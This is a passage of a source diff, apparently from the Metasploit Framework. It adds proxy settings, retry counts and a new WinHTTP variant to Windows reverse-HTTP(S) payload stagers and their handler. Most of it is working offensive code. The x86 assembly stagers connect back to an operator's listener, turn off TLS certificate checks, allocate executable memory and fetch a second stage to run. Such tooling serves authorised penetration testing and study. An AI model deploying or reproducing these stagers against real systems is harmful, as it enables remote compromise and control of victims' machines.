||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
end
|
||||
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||
"#{scheme}://#{callback_host}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
|
@ -155,6 +150,7 @@ module ReverseHttp
|
|||
'VirtualDirectory' => true)
|
||||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
lookup_proxy_settings
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -172,6 +168,45 @@ module ReverseHttp
|
|||
|
||||
protected
|
||||
|
||||
#
|
||||
# Parses the proxy settings and returns a hash
|
||||
#
|
||||
def lookup_proxy_settings
|
||||
info = {}
|
||||
return @proxy_settings if @proxy_settings
|
||||
|
||||
if datastore['PayloadProxyHost'].to_s == ""
|
||||
@proxy_settings = info
|
||||
return @proxy_settings
|
||||
end
|
||||
|
||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
||||
info[:type] = datastore['PayloadProxyType'].to_s
|
||||
|
||||
uri_host = info[:host]
|
||||
|
||||
if Rex::Socket.is_ipv6?(uri_host)
|
||||
uri_host = "[#{info[:host]}]"
|
||||
end
|
||||
|
||||
info[:info] = "#{uri_host}:#{info[:port]}"
|
||||
|
||||
if info[:type] == "SOCKS"
|
||||
info[:info] = "socks=#{info[:info]}"
|
||||
else
|
||||
info[:info] = "http://#{info[:info]}"
|
||||
if datastore['PayloadProxyUser'].to_s != ""
|
||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
||||
end
|
||||
if datastore['PayloadProxyPass'].to_s != ""
|
||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
||||
end
|
||||
end
|
||||
|
||||
@proxy_settings = info
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
|
@ -186,7 +221,7 @@ protected
|
|||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -201,8 +236,8 @@ protected
|
|||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank?
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
unless datastore['PayloadProxyHost'].blank?
|
||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
|
@ -221,7 +256,7 @@ protected
|
|||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -249,7 +284,7 @@ protected
|
|||
|
||||
when /^\/A?INITM?/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
@ -265,11 +300,11 @@ protected
|
|||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -294,7 +329,7 @@ protected
|
|||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => payload_uri + conn_id + "/\x00",
|
||||
:url => payload_uri(req) + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
|
|
|
@ -40,11 +40,11 @@ module ReverseHttpsProxy
|
|||
[
|
||||
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
|
||||
register_advanced_options(
|
||||
|
|
|
@ -311,6 +311,13 @@ class Payload < Msf::Module
|
|||
internal_generate
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the payload and returns the raw buffer to the caller,
|
||||
# handling any post-processing tasks, such as prepended code stubs.
|
||||
def generate_complete
|
||||
apply_prepends(generate)
|
||||
end
|
||||
|
||||
#
|
||||
# Substitutes variables with values from the module's datastore in the
|
||||
# supplied raw buffer for a given set of named offsets. For instance,
|
||||
|
@ -465,6 +472,13 @@ class Payload < Msf::Module
|
|||
return nops
|
||||
end
|
||||
|
||||
#
|
||||
# A placeholder stub, to be overriden by mixins
|
||||
#
|
||||
def apply_prepends(raw)
|
||||
raw
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Event notifications.
|
||||
|
|
|
@ -91,9 +91,7 @@ module Msf::Payload::Linux
|
|||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
def apply_prepends(buf)
|
||||
pre = ''
|
||||
app = ''
|
||||
|
||||
|
|
|
@ -38,9 +38,11 @@ module Msf::Payload::Windows
|
|||
'none' => 0x5DE2C5AA, # GetLastError
|
||||
}
|
||||
|
||||
|
||||
def generate
|
||||
return prepends(super)
|
||||
#
|
||||
# Implement payload prepends for Windows payloads
|
||||
#
|
||||
def apply_prepends(raw)
|
||||
apply_prepend_migrate(raw)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -34,7 +34,7 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def prepends(buf)
|
||||
def apply_prepend_migrate(buf)
|
||||
pre = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
|
|
@ -16,6 +16,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
|
@ -26,7 +27,13 @@ module Payload::Windows::ReverseHttp
|
|||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -40,7 +47,8 @@ module Payload::Windows::ReverseHttp
|
|||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -48,7 +56,13 @@ module Payload::Windows::ReverseHttp
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_http(conf)
|
||||
|
@ -74,7 +88,7 @@ module Payload::Windows::ReverseHttp
|
|||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['HTTPStagerURILength'].to_i
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
|
@ -82,12 +96,19 @@ module Payload::Windows::ReverseHttp
|
|||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
raise ArgumentError, "Minimum HTTPStagerURILength is 5"
|
||||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
@ -104,23 +125,49 @@ module Payload::Windows::ReverseHttp
|
|||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Proxy options?
|
||||
space += 200
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Dynamic payload generation
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
|
||||
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
#
|
||||
# options should contain:
|
||||
# ssl: (true|false)
|
||||
# url: "/url_to_request"
|
||||
# host: [hostname]
|
||||
# port: [port]
|
||||
# exitfunk: [process|thread|seh|sleep]
|
||||
#
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
|
@ -145,14 +192,11 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
asm = %Q^
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
|
@ -160,53 +204,108 @@ module Payload::Windows::ReverseHttp
|
|||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
xor ebx, ebx ; Set ebx to NULL to use in future arguments
|
||||
^
|
||||
|
||||
set_retry:
|
||||
push.i8 8 ; retry 8 times should be enough
|
||||
pop edi
|
||||
xor ebx, ebx ; push 8 zeros ([1]-[8])
|
||||
mov ecx, edi
|
||||
push_zeros:
|
||||
push ebx
|
||||
loop push_zeros
|
||||
|
||||
internetopen:
|
||||
; DWORD dwFlags [1]
|
||||
; LPCTSTR lpszProxyBypass (NULL) [2]
|
||||
; LPCTSTR lpszProxyName (NULL) [3]
|
||||
; DWORD dwAccessType (PRECONFIG = 0) [4]
|
||||
; LPCTSTR lpszAgent (NULL) [5]
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
|
||||
call get_proxy_server
|
||||
db "#{proxy_info}", 0x00
|
||||
get_proxy_server:
|
||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
internetconnect:
|
||||
; DWORD_PTR dwContext (NULL) [6]
|
||||
; dwFlags [7]
|
||||
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push #{opts[:port]} ; PORT
|
||||
call got_server_uri ; double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
db "#{opts[:url]}", 0x00
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet
|
||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
mov esi, eax ; Store hConnection in esi
|
||||
^
|
||||
|
||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpopenrequest:
|
||||
; dwContext (NULL) [8]
|
||||
push ebx ; dwContext (NULL)
|
||||
push #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||
push ebx ; accept types
|
||||
push ebx ; referrer
|
||||
push ebx ; version
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push eax ; hConnection
|
||||
push esi ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
^
|
||||
|
||||
|
@ -221,9 +320,9 @@ module Payload::Windows::ReverseHttp
|
|||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push.i8 4 ; sizeof(dwFlags)
|
||||
push 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
|
@ -264,7 +363,7 @@ module Payload::Windows::ReverseHttp
|
|||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
|
|
|
@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
|
|||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_https(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
|
||||
ssl: true)
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -51,7 +52,13 @@ module Payload::Windows::ReverseHttps
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_https(conf)
|
||||
|
|
|
@ -0,0 +1,396 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_winhttp(
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated wchar byte array
|
||||
#
|
||||
def asm_generate_wchar_array(str)
|
||||
( str.to_s + "\x00" ).
|
||||
unpack("C*").
|
||||
pack("v*").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
verify_ssl = nil
|
||||
encoded_cert_hash = nil
|
||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
# ;0x00800000 ; WINHTTP_FLAG_SECURE
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = (0x00800000 | 0x00000100)
|
||||
else
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = 0x00000100
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push 0x00323374 ; Push the string 'crypt32',0
|
||||
push 0x70797263 ; ...
|
||||
push esp ; Push a pointer to the "crypt32" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wincrypt" )
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
||||
xor ebx, ebx
|
||||
|
||||
WinHttpOpen:
|
||||
push ebx ; Flags
|
||||
push ebx ; ProxyBypass (NULL)
|
||||
push ebx ; ProxyName (NULL)
|
||||
push ebx ; AccessType (DEFAULT_PROXY= 0)
|
||||
push ebx ; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL)
|
||||
push #{opts[:port]} ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in edi for later
|
||||
db #{encoded_url}
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push #{"0x%.8x" % http_open_flags}
|
||||
push ebx ; AcceptTypes (NULL)
|
||||
push ebx ; Referrer (NULL)
|
||||
push ebx ; Version (NULL)
|
||||
push edi ; ObjectName (URI)
|
||||
push ebx ; Verb (GET method) (NULL)
|
||||
push eax ; Connect handle returned by WinHttpConnect
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
^
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
|
||||
set_security_options:
|
||||
push 0x00003300
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(buffer)
|
||||
push eax ; &buffer
|
||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
